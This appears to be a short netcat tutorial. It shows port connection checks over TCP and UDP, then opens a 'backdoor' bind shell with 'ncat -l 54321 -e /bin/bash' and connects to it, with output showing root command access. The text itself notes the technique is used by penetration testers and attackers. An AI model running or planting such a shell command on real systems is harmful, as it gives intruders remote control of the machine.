nc netcat opening listening ports

nc netcat opening listening ports – Netcat scan examples
Establish a connection to a remote port if open:

[~]# nc -vn 192.168.2.101 22
Ncat: Connected to 192.168.2.101:22.
SSH-2.0-OpenSSH\_7.6

As you see, netcat was able to reach 22 port and establish the connection successfully.

UDP port connections are also allowed with netcat, as you can see in the next example:

[~]# ncat -v -u 1.1.1.1 53
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Connected to 1.1.1.1:53.

Netcat also has the ability to open a remote backdoor on the target system for 5000ms, see below:

[~]# ncat -l 54321 -e /bin/bash -v -w 5000ms
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 18E1 2645 4F8C 9E87 EAD3 DBC5 0901 B9B9 393D 0E77
Ncat: Listening on :::54321
Ncat: Listening on 0.0.0.0:54321

This will open the backdoor on port 54321 on the local system, then we will have to open a connection to gain system access:

[~]# ncat 127.0.0.1 54321 -v
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:54321.
ls
anaconda-ks.cfg
el\_dlurls.txt
file
pwd
/root
whoami
root
uname -r
4.xx.xx.fc28.x86\_64
^C
[root@localhost ~]#

This nc netcat opening listening ports technique is widely used by penetration testers, and by malicious crackers.

Take a look at ncat –help option if you want to learn more examples about how to use netcat.